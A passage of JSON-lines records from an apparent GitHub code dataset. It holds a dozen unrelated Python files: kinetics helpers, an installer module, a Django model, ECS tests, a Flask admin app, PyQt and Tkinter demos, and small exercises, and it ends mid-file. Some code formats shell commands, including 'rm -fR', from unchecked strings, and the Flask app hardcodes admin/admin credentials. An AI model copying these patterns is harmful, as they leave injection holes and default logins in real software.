dFdU.dot(r0til)\r\n            dMdUD = dMdU + r0til.dot(dFdU) \r\n            #dMdTD = dMdT - dMdU.dot(r0til) + r0til.dot(dFdT) - r0til.dot(dFdU).dot(r0til)  + FS0til.dot(r0til)\r\n            C1 = dMdT \r\n            C2 =      - dMdU.dot(r0til) \r\n            C3 =                        + r0til.dot(dFdT)\r\n            C4 =                                          - r0til.dot(dFdU.dot(r0til))\r\n            C5 =                                                                        + FS0til.dot(r0til)\r\n            dMdTD = np.zeros((3,3))\r\n            dMdTD +=  C1\r\n            dMdTD +=  C2\r\n            dMdTD +=  C3\r\n            dMdTD +=  C4\r\n            dMdTD +=  C5\r\n            #     if rref is None:\r\n            #         C5b = r0til.dot(FS0til) # NOTE REVERSED SIGN\r\n            #     else:\r\n            #         r1til  = skew(r0+np.asarray(rref))\r\n            #         C5b = r1til.dot(FS0til) # NOTE REVERSED SIGN\r\n            #     C5b[0,0]=0 # NOTE\r\n            #     C5b[1,1]=0 # NOTE\r\n            #     C5b[2,2]=0 # NOTE\r\n            #     dMdTD +=  C5b\r\n            # print('C1\\n', C1)\r\n            # print('C2\\n', C2)\r\n            # print('C3\\n', C3)\r\n            # print('C4\\n', C4)\r\n            # print('C5\\n', C5)\r\n            #     print('C52\\n',C5b)\r\n            #     print(r0, FS0)\r\n        JD = np.block([ [dFdUD,  dFdTD],\r\n                        [dMdUD , dMdTD]\r\n                      ])\r\n    return JD\r\n\r\n\r\ndef translateLoads(FS0, MS0, r0):\r\n    FD0 = FS0\r\n    MD0 = MS0 + skew(r0).dot(FS0)\r\n    return FD0, MD0\r\n\r\n\r\n\r\n\r\n\r\n# --------------------------------------------------------------------------------}\r\n# --- 3D springs \r\n# --------------------------------------------------------------------------------{\r\ndef Fspring3D(r1,r2,k,l0):\r\n    \"\"\" return linear spring force between two points \"\"\"\r\n    r1 = np.asarray(r1).flatten()\r\n    r2 = np.asarray(r2).flatten()\r\n    l  = np.sqrt((r2-r1).dot(r2-r1))\r\n    dl = (l-l0)\r\n    return -k * dl *(r2-r1)/l\r\n\r\ndef Espring3D(r1,r2,k,l0):\r\n    \"\"\" return linear spring energy between two points \"\"\"\r\n    r1 = np.asarray(r1).flatten()\r\n    r2 = np.asarray(r2).flatten()\r\n    l  = np.sqrt((r2-r1).dot(r2-r1))\r\n    dl = (l-l0)\r\n    return 1/2 * k * dl**2\r\n\r\ndef Fdamp3D(r1,r2,r1d,r2d,c):\r\n    \"\"\" return linear damping force between two points \"\"\"\r\n    r1  = np.asarray(r1).flatten()\r\n    r2  = np.asarray(r2).flatten()\r\n    r1d = np.asarray(r1d).flatten()\r\n    r2d = np.asarray(r2d).flatten()\r\n    l  = np.sqrt((r2-r1).dot(r2-r1))\r\n    e  = (r2-r1)/l\r\n    dv = (r2d-r1d).dot(e) \r\n    return -c * dv * e\r\n\r\ndef FspringDamp3D(r1, r2, r1d, r2d, k, l0, c):\r\n    \"\"\" return linear spring/damper force between two points \"\"\"\r\n    r1 = np.asarray(r1).flatten()\r\n    r2 = np.asarray(r2).flatten()\r\n    r1d = np.asarray(r1d).flatten()\r\n    r2d = np.asarray(r2d).flatten()\r\n    l  = np.sqrt((r2-r1).dot(r2-r1))\r\n    dl = (l-l0)\r\n    e  = (r2-r1)/l\r\n    dv = (r2d-r1d).dot(e)\r\n    return - (k * dl  + c * dv) * e   \r\n\r\n","repo_name":"ebranlard/welib","sub_path":"welib/yams/kinetics.py","file_name":"kinetics.py","file_ext":"py","file_size_in_byte":6549,"program_lang":"python","lang":"en","doc_type":"code","stars":51,"dataset":"github-code","pt":"77"}
+{"seq_id":"21066207044","text":"# -*- coding: utf-8 -*\n\"\"\"HydraTK installation commands\n\n.. module:: lib.install.command\n   :platform: Unix\n   :synopsis: HydraTK installation commands\n.. moduleauthor:: Petr Rašek <bowman@hydratk.org>\n\n\"\"\"\n\nfrom subprocess import call, Popen, PIPE\nfrom os import path, environ\nfrom sys import exit\nfrom hydratk.lib.system.utils import Utils\nfrom hydratk.lib.console.shellexec import shell_exec\n\n\ndef is_install_cmd(argv):\n    \"\"\"Method checks if installation is requested\n\n    Args:\n       argv (list): command arguments\n\n    Returns:\n       bool: result\n\n    \"\"\"\n\n    res = False\n    if ('install' in argv or 'bdist_egg' in argv or 'bdist_wheel' in argv):\n        res = True\n\n    return res\n\n\ndef get_pck_manager():\n    \"\"\"Method returns system package managera\n\n    Args:\n       none\n\n    Returns:\n       list: list of string\n\n    \"\"\"\n\n    pck_managers = ['apt-get', 'yum', 'dnf', 'zypper', 'emerge', 'pacman', 'pkg']\n\n    pckm = []\n    for pck in pck_managers:\n        if (is_installed(pck)):\n            pckm.append(pck)\n\n    return pckm\n\n\ndef is_installed(app):\n    \"\"\"Method checks if system application is installed\n\n    Args:\n       app (str): application\n\n    Returns:\n       bool: result\n\n    \"\"\"\n\n    cmd = ['which', app]\n    proc = Popen(cmd, stdout=PIPE)\n    out = proc.communicate()\n\n    result = True if (len(out[0]) > 0) else False\n    return result\n\n\ndef install_pck(pckm, pck):\n    \"\"\"Method installs system package from repository\n\n    Args:\n       pckm (str): package manager\n       pck (str): package\n\n    Returns:\n       none\n\n    \"\"\"\n\n    print('Installing package {0}'.format(pck))\n\n    if (pckm == 'apt-get'):\n        cmd = 'apt-get -y install {0}'.format(pck)\n    elif (pckm == 'yum'):\n        cmd = 'yum -y install {0}'.format(pck)\n    elif (pckm == 'dnf'):\n        cmd = 'dnf -y install {0}'.format(pck)\n    elif (pckm == 'zypper'):\n        cmd = 'zypper install -y {0}'.format(pck)\n    elif (pckm == 'emerge'):\n        cmd = 'emerge {0}'.format(pck)\n    elif (pckm == 'pacman'):\n        cmd = 'pacman -S --noconfirm {0}'.format(pck)\n    elif (pckm == 'pkg'):\n        cmd = 'pkg install -y {0}'.format(pck)\n        \n    result, _, err = shell_exec(cmd, True)\n    if (result != 0):\n        print('Failed to install package {0}, hydratk installation failed.'.format(pck))\n        print(err)\n        exit(-1)\n\ndef create_dir(dst):\n    \"\"\"Method creates directory\n\n    Args:\n       dst (str): destination path\n\n    Returns:\n       none\n\n    \"\"\"\n\n    if (not path.exists(dst)):\n\n        print('Creating directory {0}'.format(dst))\n        cmd = 'mkdir -p {0}'.format(dst)\n        result, _, err = shell_exec(cmd, True)\n        if (result != 0):\n            print('Failed to create directory {0}'.format(dst))\n            print(err)\n\ndef copy_file(src, dst):\n    \"\"\"Method copies file\n\n    Args:\n       src (str): source path\n       dst (str): destination path\n\n    Returns:\n       none\n\n    \"\"\"\n\n    create_dir(dst)\n\n    print ('Copying file {0} to {1}'.format(src, dst))\n    cmd = 'cp {0} {1}'.format(src, dst)\n    result, _, err = shell_exec(cmd, True)\n    if (result != 0):\n        print('Failed to copy {0} to {1}'.format(src, dst))\n        print(err)\n\ndef move_file(src, dst):\n    \"\"\"Method moves file\n\n    Args:\n       src (str): source path\n       dst (str): destination path\n\n    Returns:\n       none\n\n    \"\"\"\n\n    print('Moving file {0} to {1}'.format(src, dst))\n    cmd = 'mv {0} {1}'.format(src, dst)\n    result, _, err = shell_exec(cmd, True)\n    if (result != 0):\n        print('Failed to move {0} to {1}'.format(src, dst))\n        print(err)\n\ndef remove(src, recursive=True):\n    \"\"\"Method removes file or directory\n\n    Args:\n       src (str): source path\n       recursive (bool): recursive deletion\n\n    Returns:\n       none\n\n    \"\"\"\n\n    print('Removing {0}'.format(src))\n    cmd = ('rm -fR {0}' if (recursive) else 'rm -f {0}').format(src)\n    result, _, err = shell_exec(cmd, True)\n    if (result != 0):\n        print('Failed to remove {0}'.format(src))\n        print(err)\n\ndef set_rights(path, rights, recursive=True):\n    \"\"\"Method sets access rights\n\n    Args:\n       path (str): directory/file path\n       rights (str): access rights \n       recursive (bool): set recursive rights\n\n    Returns:\n       none\n\n    \"\"\"\n\n    print('Setting rights {0} for {1}'.format(rights, path))\n\n    if (recursive):\n        cmd = 'chmod -R {0} {1}'.format(rights, path)\n    else:\n        cmd = 'chmod {0} {1}'.format(rights, path)\n\n    result, _, err = shell_exec(cmd, True)\n    if (result != 0):\n        print('Failed to set rights for {0}'.format(path))\n        print(err)\n\ndef install_pip(module):\n    \"\"\"Method installs python module via pip\n\n    Args:\n       module (str): python module\n\n    Returns:\n       none\n\n    \"\"\"\n    modtok = module.split('>=') if ('>=' in module) else module.split('==')\n    module_name = modtok[0]\n    module_version = modtok[1] if (len(modtok) > 1) else None\n    pip_path = 'pip' if ('pip' not in environ) else '$pip'\n    \n    if (module_version != None and Utils.module_exists(module_name)):\n        if Utils.module_version_ok(module_version, Utils.module_version(module_name)):\n            print('Module {0} already installed with version {1}'.format(module_name,Utils.module_version(module_name)))\n        else:\n            print ('Upgrading module {0} to version {1}'.format(module_name,module_version))            \n            cmd = '{0} install --upgrade \"{1}\"'.format(pip_path, module)\n            result, _, err = shell_exec(cmd, True)\n            if result != 0:\n                print('Failed to install {0}, hydratk installation failed.'.format(module))\n                print(err)\n                exit(-1)\n            \n    else:\n        print ('Installing module {0}'.format(module))\n        cmd = '{0} install \"{1}\"'.format(pip_path, module)\n        print(cmd)\n        result, _, err = shell_exec(cmd, True)\n        if result != 0:\n            print('Failed to install {0}, hydratk installation failed.'.format(module))            \n            print(err)\n            exit(-1)\n    \n\n\ndef uninstall_pip(module):\n    \"\"\"Method uninstalls python module via pip\n\n    Args:\n       module (str): python module\n\n    Returns:\n       none\n\n    \"\"\"\n\n    print ('Uninstalling module {0}'.format(module))\n\n    cmd = 'pip uninstall -y {0}'.format(module)\n    result, _, err = shell_exec(cmd, True)\n    if (result != 0):\n        print('Failed to uninstall {0}'.format(module))\n        print(err)\n","repo_name":"hydratk/hydratk","sub_path":"src/hydratk/lib/install/command.py","file_name":"command.py","file_ext":"py","file_size_in_byte":6457,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"77"}
+{"seq_id":"71435767930","text":"import json, argparse\n\nparser = argparse.ArgumentParser()\nparser.add_argument('obograph', help='obograph json file path')\nparser.add_argument('subset', help='subset file path')\nparser.add_argument('output_file', help='output file path')\n\nargs = parser.parse_args()\n\nobograph = json.load(open(args.obograph))\nsubset = json.load(open(args.subset))\n\nnodes = subset[\"graphs\"][0][\"nodes\"]\nfor node_obo in obograph[\"graphs\"][0][\"nodes\"]:\n  if node_obo[\"type\"] == \"CLASS\":\n    for node_s in nodes:\n      if node_obo[\"id\"] == node_s[\"id\"]:\n        node_obo[\"meta\"] = node_s[\"meta\"]\n\nwith open(args.output_file, 'w', encoding='utf-8') as f:\n  json.dump(obograph, f, ensure_ascii=False, indent=2)\n","repo_name":"obophenotype/CCF_graphs","sub_path":"merge_json.py","file_name":"merge_json.py","file_ext":"py","file_size_in_byte":687,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"72722418810","text":"from datetime import date, timedelta\n\nfrom django.conf import settings\nfrom django.core.checks import Error, Tags, register\nfrom django.db import models\n\n\nclass ExchangeRate(models.Model):\n    date = models.DateField()\n    currency = models.CharField(max_length=3)\n    base_currency = models.CharField(max_length=3)\n    rate = models.DecimalField(decimal_places=5, max_digits=15)\n\n    class Meta:\n        unique_together = [\n            [\"date\", \"currency\", \"base_currency\"],\n        ]\n\n    def __str__(self):\n        return f\"Exchange Rate: {self.base_currency}-{self.currency} @ {self.date}: {self.rate}\"\n\n\n@register(Tags.database, deploy=True)\ndef check_fresh_exchange_rate_data(app_configs, **kwargs):\n    errors = []\n    oldest_acceptable_rate = date.today() - timedelta(\n        days=settings.MAX_EXCHANGE_RATE_AGE\n    )\n    rates = ExchangeRate.objects.filter(date__gte=oldest_acceptable_rate)\n    if not rates.exists():\n        errors.append(\n            Error(\n                \"no current exchange rates\",\n                hint=\"Run manage.py import_ecb_exchangerates to populate exchange rates\",\n                id=\"currencies.E001\",\n            )\n        )\n\n    return errors\n","repo_name":"stefanor/django-historical-currencies","sub_path":"historical_currencies/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":1186,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"77"}
+{"seq_id":"37895473926","text":"import pytest\nfrom botocore.stub import Stubber\n\nfrom yoki.lib.ecs import Ecs\n\n\nclass TestEcs(object):\n    def test_descrive_service_missing_cluster(self):\n        ecs = Ecs('missing', 'srv1')\n\n        with Stubber(ecs.ecs) as stubber:\n            stubber.add_client_error('describe_services',\n                                     'ClusterNotFoundException')\n            with pytest.raises(ValueError) as excinfo:\n                ecs.describe_service()\n\n        assert 'Cluster not found: missing' in str(excinfo.value)\n\n    def test_descrive_service_missing_service(self):\n        ecs = Ecs('test-yoki', 'missing')\n\n        with Stubber(ecs.ecs) as stubber:\n            stubber.add_client_error('describe_services',\n                                     'ServiceNotFoundException')\n            with pytest.raises(ValueError) as excinfo:\n                ecs.describe_service()\n\n        assert 'Service not found: missing' in str(excinfo.value)\n\n    def test_descrive_service_runtime(self):\n        ecs = Ecs('test-yoki', 'srv1')\n\n        with Stubber(ecs.ecs) as stubber:\n            stubber.add_client_error('describe_services')\n            with pytest.raises(RuntimeError) as excinfo:\n                ecs.describe_service()\n\n        assert 'An error occurred' in str(excinfo.value)\n\n    def test_scale_runtime_error(self):\n        ecs = Ecs('test-yoki', 'srv1')\n\n        with Stubber(ecs.ecs) as stubber:\n            stubber.add_client_error('update_service')\n            with pytest.raises(RuntimeError) as excinfo:\n                ecs.scale(0)\n\n        assert 'An error occurred' in str(excinfo.value)\n\n    def test_split_image_uri_no_tag(self):\n        ecs = Ecs('test-yoki', 'srv1')\n        r = ecs.split_image_uri({'image': 'image_uri'})\n\n        assert r == {'repo': 'image_uri', 'tag': 'latest'}\n","repo_name":"boroivanov/yoki","sub_path":"tests/unit/test_ecs.py","file_name":"test_ecs.py","file_ext":"py","file_size_in_byte":1804,"program_lang":"python","lang":"en","doc_type":"code","stars":10,"dataset":"github-code","pt":"77"}
+{"seq_id":"18332537693","text":"\ngrid = [\n    [\"1\",\"1\",\"0\",\"0\",\"0\"],\n    [\"1\",\"1\",\"0\",\"0\",\"0\"],\n    [\"0\",\"0\",\"1\",\"0\",\"0\"],\n    [\"0\",\"0\",\"0\",\"1\",\"1\"]\n]\n\nvisited = [[0 for entry in row] for row in grid]\n\ndef getNeighbors(row, col):\n    neighborList = []\n    if row > 0 and grid[row-1][col] == \"1\": \n        neighborList.append([row-1, col])\n    if row < len(grid) - 1 and grid[row+1][col] == \"1\": \n        neighborList.append([row+1, col])\n    if col > 0 and grid[row][col-1] == \"1\": \n        neighborList.append([row, col-1])\n    if col < len(grid[row]) - 1 and grid[row][col+1] == \"1\": \n        neighborList.append([row, col+1])\n    return neighborList\n\nprint(getNeighbors(3, 3))","repo_name":"paul-dennig/leetcode","sub_path":"_test.py","file_name":"_test.py","file_ext":"py","file_size_in_byte":647,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"17248647812","text":"import os\n\nfrom flask import Flask, redirect\nfrom flask_admin import Admin\nfrom flask_basicauth import BasicAuth\nfrom flask_sqlalchemy import SQLAlchemy\nfrom flask_migrate import Migrate\n\napp = Flask(__name__)\napp.config['SQLALCHEMY_DATABASE_URI'] = 'postgresql:///tenants'\napp.config['SQLALCHEMY_TRACK_MODIFICATIONS'] = True\n\ndb = SQLAlchemy()\nmigrate = Migrate(compare_type=True)\n\n# Database init\ndb.init_app(app)\nmigrate.init_app(app, db)\n\napp.config['FLASK_ADMIN_SWATCH'] = 'cerulean'\napp.config['BASIC_AUTH_USERNAME'] = 'admin'\napp.config['BASIC_AUTH_PASSWORD'] = 'admin'\napp.config['BASIC_AUTH_FORCE'] = True\n\nadmin = Admin(app, name='Tenant Management', template_mode='bootstrap3')\nfrom apps.admin.views import load_admin_views\n\nload_admin_views()\n\nbasic_auth = BasicAuth(app)\nconfig_settings = os.environ.get(\n    'APP_SETTINGS', 'apps.config.DevelopmentConfig'\n)\napp.config.from_object(config_settings)  # imports instance.config\napp.config['APP_SETTINGS'] = config_settings\napp.config.update(\n    SQLALCHEMY_DATABASE_URI=(\n        \"postgresql://\"\n        f\"{app.config['POSTGRES']['user']}\"\n        f\":{app.config['POSTGRES']['pwd']}\"\n        f\"@{app.config['POSTGRES']['host']}:{app.config['POSTGRES']['port']}\"\n        f\"/{app.config['POSTGRES']['db']}\"\n    )\n)\n\n\n@app.route('/')\ndef hello_world():\n    return redirect('/admin')\n\n\n@app.route('/admin')\n@basic_auth.required\ndef admin_view():\n    return\n\n\nif __name__ == '__main__':\n    app.run()\n","repo_name":"michaellowecs/praxisarbeit-ipso","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":1457,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"23189327204","text":"import numpy as np\nimport matplotlib.pyplot as plt\n\ndef C(x, y):\n    return (x-3)**2 + (y-3)**2 - 9\n\ndef inside_closed_curve(xi, yi, C, epsilon=1e-5, n_points=10000):\n    if abs(C(xi, yi)) <= epsilon:\n        return \"Punkt na krzywej\"\n\n    intersections = 0\n    for t in np.linspace(0, 1, n_points):\n        x = xi + t * (1 - xi)\n        y = yi\n\n        if abs(C(x, y)) <= epsilon:\n            intersections += 1\n\n    return intersections % 2 == 1\n\nxi, yi = 2, 2\nis_inside = inside_closed_curve(xi, yi, C)\n\nx = np.linspace(0, 6, 400)\ny = np.linspace(0, 6, 400)\nX, Y = np.meshgrid(x, y)\nZ = C(X, Y)\n\nplt.figure()\nplt.contour(X, Y, Z, levels=[0], colors='blue')\n\nplt.scatter(xi, yi, color='red', label=f'({xi}, {yi})')\nplt.legend()\n\nplt.xlabel('x')\nplt.ylabel('y')\n\nplt.title(f\"Punkt ({xi}, {yi}) {'znajduje się' if is_inside else 'nie znajduje się'} wewnątrz krzywej.\")\n\nplt.show()\n","repo_name":"PeterPirog/ILC_analyzer","sub_path":"examples/06_is_point_inside_curve.py","file_name":"06_is_point_inside_curve.py","file_ext":"py","file_size_in_byte":884,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"74634187127","text":"# # import sys\n# # from PyQt5.QtWidgets import QApplication, QWidget, QPushButton, QHBoxLayout, QGroupBox, QDialog, QVBoxLayout, QGridLayout\n# # from PyQt5.QtGui import QIcon\n# # from PyQt5.QtCore import pyqtSlot\n# #\n# # class App(QDialog):\n# #\n# #     def __init__(self):\n# #         super().__init__()\n# #         self.title = 'PyQt5 layout - pythonspot.com'\n# #         self.left = 10\n# #         self.top = 10\n# #         self.width = 320\n# #         self.height = 100\n# #         self.initUI()\n# #\n# #     def initUI(self):\n# #         self.setWindowTitle(self.title)\n# #         self.setGeometry(self.left, self.top, self.width, self.height)\n# #\n# #         self.createGridLayout()\n# #\n# #         windowLayout = QVBoxLayout()\n# #         windowLayout.addWidget(self.horizontalGroupBox)\n# #         self.setLayout(windowLayout)\n# #\n# #         self.show()\n# #\n# #     def createGridLayout(self):\n# #         self.horizontalGroupBox = QGroupBox(\"Grid\")\n# #         layout = QGridLayout()\n# #         layout.setColumnStretch(1, 4)\n# #         layout.setColumnStretch(2, 4)\n# #\n# #         layout.addWidget(QPushButton('1'),0,0)\n# #         layout.addWidget(QPushButton('2'),0,1)\n# #         layout.addWidget(QPushButton('3'),0,2)\n# #         layout.addWidget(QPushButton('4'),1,0)\n# #         layout.addWidget(QPushButton('5'),1,1)\n# #         layout.addWidget(QPushButton('6'),1,2)\n# #         layout.addWidget(QPushButton('7'),2,0)\n# #         layout.addWidget(QPushButton('8'),2,1)\n# #         layout.addWidget(QPushButton('9'),2,2)\n# #\n# #         self.horizontalGroupBox.setLayout(layout)\n# #\n# #\n# #\n# # if __name__ == '__main__':\n# #     app = QApplication(sys.argv)\n# #     ex = App()\n# #     sys.exit(app.exec_())\n#\n# import sys\n# from PyQt5.QtWidgets import QMainWindow, QApplication, QPushButton, QWidget, QAction, QTabWidget,QVBoxLayout\n# from PyQt5.QtGui import QIcon\n# from PyQt5.QtCore import pyqtSlot\n#\n# class App(QMainWindow):\n#\n#     def __init__(self):\n#         super().__init__()\n#         self.title = 'PyQt5 tabs - pythonspot.com'\n#         self.left = 0\n#         self.top = 0\n#         self.width = 300\n#         self.height = 200\n#         self.setWindowTitle(self.title)\n#         self.setGeometry(self.left, self.top, self.width, self.height)\n#\n#         self.table_widget = MyTableWidget(self)\n#         self.setCentralWidget(self.table_widget)\n#\n#         self.show()\n#\n# class MyTableWidget(QWidget):\n#\n#     def __init__(self, parent):\n#         super(QWidget, self).__init__(parent)\n#         self.layout = QVBoxLayout(self)\n#\n#         # Initialize tab screen\n#         self.tabs = QTabWidget()\n#         self.tab1 = QWidget()\n#         self.tab2 = QWidget()\n#         self.tabs.resize(300,200)\n#\n#         # Add tabs\n#         self.tabs.addTab(self.tab1,\"Tab 1\")\n#         self.tabs.addTab(self.tab2,\"Tab 2\")\n#\n#         # Create first tab\n#         self.tab1.layout = QVBoxLayout(self)\n#         self.pushButton1 = QPushButton(\"PyQt5 button\")\n#         self.tab1.layout.addWidget(self.pushButton1)\n#         self.tab1.setLayout(self.tab1.layout)\n#\n#         # Add tabs to widget\n#         self.layout.addWidget(self.tabs)\n#         self.setLayout(self.layout)\n#\n#     @pyqtSlot()\n#     def on_click(self):\n#         print(\"\\n\")\n#         for currentQTableWidgetItem in self.tableWidget.selectedItems():\n#             print(currentQTableWidgetItem.row(), currentQTableWidgetItem.column(), currentQTableWidgetItem.text())\n#\n# if __name__ == '__main__':\n#     app = QApplication(sys.argv)\n#     ex = App()\n#     sys.exit(app.exec_())\n#!/usr/bin/env python3\n\nfrom PyQt5.QtCore import *\nfrom PyQt5.QtWidgets import *\nimport sys\n\nclass Window(QWidget):\n    def __init__(self):\n        QWidget.__init__(self)\n\n        layout = QGridLayout()\n        self.setLayout(layout)\n\n        label1 = QLabel(\"Example content contained in a tab.\")\n        label2 = QLabel(\"More example text in the second tab.\")\n\n        tabwidget = QTabWidget()\n        tabwidget.addTab(label1, \"Tab 1\")\n        tabwidget.addTab(label2, \"Tab 2\")\n        layout.addWidget(tabwidget, 0, 0)\n\napp = QApplication(sys.argv)\n\nscreen = Window()\nscreen.show()\n\nsys.exit(app.exec_())\n","repo_name":"Alex-Lee06/Python","sub_path":"ARK POS/src/codeTesting.py","file_name":"codeTesting.py","file_ext":"py","file_size_in_byte":4180,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"8987066080","text":"# # n=4\n# # for i in range(n):\n# #     for j in range(i):\n# #         print(\"*\",end=\"\")\n# #     print()                    \n# n=5\n# for i in range(n,0,-1):\n#     for j in range(i):\n#             print(\"*\",end=\" \")\n        \n#     print()\n\n\n\nn=5\nk=0\nfor i in range(1,n+1):\n    for j in range((n-i)+1):\n        print(end=\"  \")\n        \n    while k!=(2*i-1):\n        print(\"*\",end=\" \")\n        k+=1\n    \n    k=0    \n    print()\n#         1 \n#       2 3 2 \n#     3 4 5 4 3 \n#   4 5 6 7 6 5 4 \n# 5 6 7 8 9 8 7 6 5\n# rows = 5\n# k = 0\n# count=0\n# count1=0\n\n# for i in range(1, rows+1):\n#     for space in range(1, (rows-i)+1):\n#         print(\"  \", end=\"\")\n#         count+=1\n    \n#     while k!=((2*i)-1):\n#         if count<=rows-1:\n#             print(i+k, end=\" \")\n#             count+=1\n#         else:\n#             count1+=1\n#             print(i+k-(2*count1),end=\" \")\n#         k += 1\n    \n#     count1 = count = k = 0\n#     print()\n#rows = int(input(\"Enter number of rows: \"))\n\n# for i in range(rows, 1, -1):\n#     for space in range(0, rows-i):\n#         print(\"  \", end=\"\")\n#     for j in range(i, 2*i-1):\n#         print(\"* \", end=\"\")\n#     for j in range(1, i-1):\n#         print(\"* \", end=\"\")\n#     print()\n","repo_name":"irfan1965/work","sub_path":"basics program/Traingle.py","file_name":"Traingle.py","file_ext":"py","file_size_in_byte":1213,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"31843783615","text":"import os\n\n\ndef conan_expand_user(path):\n    \"\"\" wrapper to the original expanduser function, to workaround python returning\n    verbatim %USERPROFILE% when some other app (git for windows) sets HOME envvar\n    \"\"\"\n    path = str(path)\n    if path[:1] != '~':\n        return path\n    # In win these variables should exist and point to user directory, which\n    # must exist. Using context to avoid permanent modification of os.environ\n    old_env = dict(os.environ)\n    try:\n        home = os.environ.get(\"HOME\")\n        # Problematic cases of wrong HOME variable\n        # - HOME = %USERPROFILE% verbatim, as messed by some other tools\n        # - MSYS console, that defines a different user home in /c/mingw/msys/users/xxx\n        # In these cases, it is safe to remove it and rely on USERPROFILE directly\n        if home and (not os.path.exists(home) or\n                     (os.getenv(\"MSYSTEM\") and os.getenv(\"USERPROFILE\"))):\n            del os.environ[\"HOME\"]\n        result = os.path.expanduser(path)\n    finally:\n        os.environ.clear()\n        os.environ.update(old_env)\n    return result\n","repo_name":"conan-io/conan","sub_path":"conans/util/windows.py","file_name":"windows.py","file_ext":"py","file_size_in_byte":1102,"program_lang":"python","lang":"en","doc_type":"code","stars":7343,"dataset":"github-code","pt":"77"}
+{"seq_id":"19550381283","text":"from tkinter import *\r\nfrom tkinter.filedialog import asksaveasfilename, askopenfilename\r\nimport subprocess\r\ncomp = Tk()\r\ncomp.title('Mirage IDE')\r\n#compiler.attributes(\"-fullscreen\",True)\r\nfilepath=''\r\ndef setfilepath(path):\r\n    global filepath\r\n    filepath=path\r\ndef openf():\r\n    path=askopenfilename(filetypes=[('Python Files','*py ')])\r\n    with open(path,'r') as file:\r\n        code = file.read()\r\n        editor.delete('1.0',END)\r\n        editor.insert('1.0',code)\r\n        setfilepath(path)\r\ndef save_as():\r\n    if filepath=='':\r\n        path= asksaveasfilename(filetypes=[('Python Files','*py ')])\r\n    else:\r\n        path=filepath\r\n    with open(path,'w') as file:\r\n        code = editor.get('1.0', END)\r\n        file.write(code)\r\n        setfilepath(path)\r\ndef runit():\r\n    if filepath==\"\":\r\n        save_prompt= Toplevel()\r\n        text = Label(save_prompt, text='YOU NEED TO SAVE YOUR CODE')\r\n        text.pack()\r\n        return\r\n    command = f'python {filepath}'\r\n    process = subprocess.Popen(command, stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True)\r\n    output, error = process.communicate()\r\n    code_output.insert('1.0', output)\r\n    code_output.insert('1.0', error)\r\nmenubr=Menu(comp)\r\nfilebr=Menu(menubr,tearoff=0)\r\nfilebr.add_command(label='open',command=openf)\r\nfilebr.add_command(label='Save',command=save_as)\r\nfilebr.add_command(label='Save as',command=save_as)\r\nfilebr.add_command(label='Exit',command=exit)\r\nmenubr.add_cascade(label='File', menu=filebr)\r\nrunbr=Menu(menubr,tearoff=0)\r\nrunbr.add_command(label='Run',command=runit)\r\nmenubr.add_cascade(label='Run', menu=runbr)\r\ncomp.config(menu=menubr,bg='black')\r\neditor=Text(bg='black', fg='#adff2f', insertbackground='red')\r\neditor.pack(fill=BOTH, expand=1)\r\ncode_output=Text(height=7,bg='black', fg='red')\r\ncode_output.pack(fill=BOTH, expand=1)\r\ncomp.mainloop()","repo_name":"subhranan/MirageIDE","sub_path":"MirageIDE.py","file_name":"MirageIDE.py","file_ext":"py","file_size_in_byte":1856,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"39044267973","text":"#GC-content calculation from fasta file within multiple labelled DNA seq\n\nseq = {}\ndef get_id(input):\n    with open(input,\"r\") as id_dna:\n        for line in id_dna:\n            line=line.strip()\n            if line.startswith(\">\"):\n                id_seq = line\n                seq[id_seq]=\"\"\n            else:\n                seq[id_seq]+=line\n        for i,k in seq.items():\n            total_nuc = int(len(k))\n            total_g = int(k.count(\"G\"))\n            total_c = int(k.count(\"C\"))\n            total_gc=total_g+total_c\n            gc_calculation = total_gc / total_nuc\n            gc_calculation= gc_calculation*100\n\n            print(f\"{i}\\n{round(gc_calculation,3)}\")\n\n\nget_id(\"test.fasta\")\n\n","repo_name":"cagataykos/Rosalind-Answers-Python","sub_path":"gc-content/gc-content-calculation.py","file_name":"gc-content-calculation.py","file_ext":"py","file_size_in_byte":706,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"26490498004","text":"\"\"\"\nIn an infinite chess board with coordinates from -infinity to +infinity, you have a knight at square [0, 0].\n\nA knight has 8 possible moves it can make, as illustrated below. Each move is two squares in a cardinal direction, then one square in an orthogonal direction.\n\n\nReturn the minimum number of steps needed to move the knight to the square [x, y]. It is guaranteed the answer exists.\n\n \n\nExample 1:\n\nInput: x = 2, y = 1\nOutput: 1\nExplanation: [0, 0] → [2, 1]\nExample 2:\n\nInput: x = 5, y = 5\nOutput: 4\nExplanation: [0, 0] → [2, 1] → [4, 2] → [3, 4] → [5, 5]\n \n\nConstraints:\n\n-300 <= x, y <= 300\n0 <= |x| + |y| <= 300\n\n\n\"\"\"\n\nclass Solution:\n    def minKnightMoves(self, x: int, y: int) -> int:\n        \n        \n       \n        # solution is symmetric \n        \n        #Take the absolute values of the coordinates (x, y).\n        # Manually initialize the map with the minimum moves it takes to get to the origin’s coordinates. The map contains the coordinate as the key and minimum knight it takes to get to the origin as the value.\n        # Start from the input coordinates and explore all the squares in a depth-first manner back to the origin.\n        # If the coordinate has already been explored, we can return that value; otherwise, we will explore the next possible coordinates the knight can move to.\n        # We pick the path with the minimum moves and backtrack to the input coordinate.\n\n\n        x =abs(x)\n        y = abs(y)\n        \n        \n        # default moves\n        moves = {(0, 0): 0, (1, 1): 2, (2, 0): 2, (0, 2): 2, (1, 0): 3, (0, 1): 3}\n        def 